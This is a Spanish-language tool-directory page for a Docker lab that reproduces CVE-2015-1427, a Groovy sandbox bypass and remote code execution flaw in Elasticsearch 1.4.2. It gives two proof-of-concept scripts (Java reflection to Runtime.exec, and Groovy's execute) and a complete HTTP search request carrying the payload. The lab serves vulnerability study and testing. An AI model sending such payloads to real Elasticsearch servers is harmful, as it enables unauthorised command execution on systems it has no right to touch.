Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y Educación
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Entorno de laboratorio basado en Docker para CVE-2015-1427 ElasticSearch, evasión del sandbox de Groovy y ejecución remota de código, que demuestra dos métodos de POC con reflexión de Java y ejecución de comandos Groovy.

Ver Repositorio
5hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno de prueba de la omisión del sandbox de Groovy y ejecución de código en ElasticSearch (CVE-2015-1427)

Versión de JRE: openjdk:8-jre

Versión de Elasticsearch: v1.4.2

Principio

Artículos de referencia:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Después de CVE-2014-3120, ElasticSearch cambió su lenguaje de scripts dinámicos predeterminado a Groovy y añadió un sandbox, pero aún seguía admitiendo la ejecución directa de lenguaje dinámico por defecto. Esta vulnerabilidad: 1. es una omisión del sandbox; 2. es una vulnerabilidad de ejecución de código Groovy.

El «sandbox» del lenguaje Groovy

ElasticSearch admite el uso del lenguaje Groovy «en un sandbox» como script dinámico, pero es evidente que el trabajo oficial no se hizo bien. lupin y tang3 propusieron respectivamente dos métodos para ejecutar comandos:

  1. Dado que existe un sandbox para ejecutar código Java, el método de lupin es encontrar la manera de omitirlo, por ejemplo, mediante la reflexión de Java.
  • Como Groovy también es un lenguaje en sí mismo, tang3 tomó un camino diferente: utilizar los métodos admitidos por el lenguaje Groovy para ejecutar comandos directamente, sin necesidad de usar el lenguaje Java.
  • Por lo tanto, siguiendo estas dos ideas de explotación, podemos obtener dos POCs diferentes.

    Método de omisión del sandbox de Java:

    root@kitploit:~
    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    

    Método de ejecución directa de comandos con Groovy:

    root@kitploit:~
    def command='id';def res=command.execute().text;res
    

    Prueba de la vulnerabilidad

    Compilar y ejecutar el entorno de prueba

    root@kitploit:~
    docker-compose build
    docker-compose up -d
    

    Como la consulta requiere al menos un dato en ES, envía el siguiente paquete para añadir un dato:

    root@kitploit:~
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "test"
    }
    

    Luego envía un paquete que contenga el payload para ejecutar comandos arbitrarios:

    root@kitploit:~
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
    

    Descargar herramienta